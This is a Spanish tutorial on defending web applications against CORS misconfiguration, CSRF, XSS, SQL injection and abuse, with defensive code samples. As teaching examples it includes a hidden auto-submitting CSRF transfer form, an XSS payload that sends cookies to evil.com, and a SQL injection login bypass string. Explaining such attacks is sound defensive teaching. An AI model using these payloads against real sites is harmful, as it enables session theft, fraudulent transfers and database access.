Protecciones comunes

Defensas contra las amenazas más frecuentes en aplicaciones web: CORS, CSRF, XSS, inyección SQL, rate limiting y otras protecciones esenciales.

Las amenazas que todo sistema enfrenta

Independientemente de la arquitectura, hay un conjunto de ataques que toda aplicación web debe saber manejar. Estos ataques son bien conocidos, están documentados y tienen soluciones probadas — pero siguen siendo la causa de la mayoría de las brechas de seguridad porque se ignoran o se implementan mal.

Cross-Origin Resource Sharing (CORS)

CORS no es un ataque sino un mecanismo de seguridad del navegador. Controla qué dominios pueden hacer requests a tu API.

El problema

Por defecto, los navegadores bloquean requests JavaScript a dominios diferentes al de la página actual. Esto protege contra scripts maliciosos que intenten acceder a APIs en nombre del usuario.

Configuración correcta

// ❌ Peligroso: permitir cualquier origen
app.use(cors({ origin: '*' }));

// ✅ Seguro: solo orígenes conocidos
app.use(cors({
  origin: ['https://miapp.com', 'https://admin.miapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400  // Cache de preflight por 24 horas
}));

Headers CORS importantes

HeaderPropósito
Access-Control-Allow-OriginDominios permitidos
Access-Control-Allow-MethodsMétodos HTTP permitidos
Access-Control-Allow-HeadersHeaders personalizados permitidos
Access-Control-Allow-CredentialsSi se permiten cookies/tokens
Access-Control-Max-AgeTiempo de cache del preflight

Errores comunes

  • Usar origin: '*' con credentials: true — los navegadores lo rechazan
  • No manejar las peticiones OPTIONS (preflight)
  • Configurar CORS solo en desarrollo y olvidarlo en producción

Cross-Site Request Forgery (CSRF)

CSRF engaña al navegador del usuario para que ejecute acciones no deseadas en un sitio donde está autenticado.

Cómo funciona el ataque

1. Usuario inicia sesión en banco.com (cookie de sesión activa)
2. Usuario visita sitio-malicioso.com
3. sitio-malicioso.com tiene un formulario oculto:
   <form action="https://banco.com/transferir" method="POST">
     <input name="destino" value="atacante-123">
     <input name="monto" value="10000">
   </form>
   <script>document.forms[0].submit();</script>
4. El navegador envía la cookie de sesión automáticamente
5. banco.com procesa la transferencia como si fuera legítima

Protecciones

Token CSRF

El servidor genera un token único por sesión que debe incluirse en cada formulario:

<form action="/transferir" method="POST">
  <input type="hidden" name="_csrf" value="token-aleatorio-único">
  <input name="destino" value="">
  <input name="monto" value="">
  <button type="submit">Transferir</button>
</form>

El servidor verifica que el token coincida antes de procesar la petición.

La forma más moderna y efectiva de prevenir CSRF:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
ValorComportamiento
StrictLa cookie nunca se envía en requests cross-site
LaxSe envía en navegación top-level (links) pero no en formularios POST
NoneSe envía siempre (requiere Secure)

Verificación del header Origin/Referer

El servidor puede verificar que el request viene de un origen esperado:

function verifyCsrf(req) {
  const origin = req.headers.origin || req.headers.referer;
  const allowedOrigins = ['https://miapp.com'];
  
  if (!allowedOrigins.some(o => origin?.startsWith(o))) {
    throw new Error('CSRF detectado');
  }
}

Cross-Site Scripting (XSS)

XSS permite a un atacante inyectar scripts maliciosos en páginas que otros usuarios ven.

Tipos de XSS

Stored XSS (persistente)

El script malicioso se almacena en la base de datos y se ejecuta cada vez que un usuario ve el contenido:

Atacante publica un comentario:
  "Gran artículo! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"

Cada usuario que ve el comentario ejecuta el script sin saberlo.

Reflected XSS

El script viene en la URL y se refleja en la respuesta:

https://miapp.com/buscar?q=<script>alert('XSS')</script>

DOM-based XSS

El script se ejecuta manipulando el DOM directamente en el cliente:

// Vulnerable: usa innerHTML con datos de la URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${search}`;

Protecciones contra XSS

Escapar output

Siempre escapar datos del usuario antes de insertarlos en HTML:

// Función de escape básica
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

Content Security Policy

CSP es la defensa más efectiva contra XSS:

Content-Security-Policy: script-src 'self'; object-src 'none';

Esto impide la ejecución de scripts inline y solo permite scripts del mismo dominio.

Usar frameworks modernos

React, Vue y Angular escapan automáticamente el contenido renderizado. El riesgo aparece cuando se usa dangerouslySetInnerHTML (React) o v-html (Vue).

Inyección SQL

La inyección SQL permite a un atacante ejecutar consultas arbitrarias en la base de datos.

Cómo funciona

// Código vulnerable
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;

// El atacante envía como email:
// ' OR '1'='1' --
// La consulta resultante:
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// Esto devuelve TODOS los usuarios

Protecciones

Consultas parametrizadas

La protección más efectiva y simple:

// Node.js con pg
const result = await db.query(
  'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
  [email, passwordHash]
);

// Java con PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);

ORM con consultas seguras

Los ORMs generan consultas parametrizadas automáticamente:

// Prisma
const user = await prisma.user.findUnique({
  where: { email: email }
});

// TypeORM
const user = await userRepository.findOne({
  where: { email: email }
});

Validación de inputs

Además de parametrizar, valida que los datos tengan el formato esperado:

// Validar formato de email antes de consultar
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
  throw new ValidationError('Formato de email inválido');
}

Rate Limiting

Rate limiting protege contra ataques de fuerza bruta, DDoS y abuso de la API.

Estrategias de rate limiting

Por IP

// Limitar a 100 requests por minuto por IP
const limiter = rateLimit({
  windowMs: 60 * 1000,
  max: 100,
  message: 'Demasiadas peticiones. Intente en un minuto.'
});

Por usuario autenticado

// Limitar a 1000 requests por hora por usuario
const userLimiter = rateLimit({
  windowMs: 60 * 60 * 1000,
  max: 1000,
  keyGenerator: (req) => req.user.id
});

Por endpoint

Endpoints sensibles como login o registro necesitan límites más estrictos:

// Login: máximo 5 intentos por minuto
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);

// Registro: máximo 3 por hora
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);

Respuesta al rate limiting

Cuando se excede el límite, responde con:

HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060

Otras protecciones esenciales

Headers de seguridad

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Validación de uploads

Si tu aplicación acepta archivos, valida:

  • Tipo MIME real (no solo la extensión)
  • Tamaño máximo
  • Contenido (escaneo de malware si es posible)
  • Almacena fuera del directorio web público

Logging de seguridad

Registra eventos de seguridad para detección y respuesta:

  • Intentos de login fallidos
  • Cambios de permisos
  • Acceso a datos sensibles
  • Requests bloqueados por rate limiting
  • Errores de validación sospechosos

Resumen

Las protecciones comunes son la base de la seguridad web. CORS controla el acceso cross-origin, CSRF previene acciones no autorizadas, XSS bloquea la inyección de scripts, las consultas parametrizadas eliminan la inyección SQL, y el rate limiting protege contra abuso. Ninguna de estas protecciones es opcional — todas deben implementarse desde el inicio del proyecto. La mayoría de las brechas de seguridad explotan la ausencia de estas defensas básicas, no vulnerabilidades sofisticadas.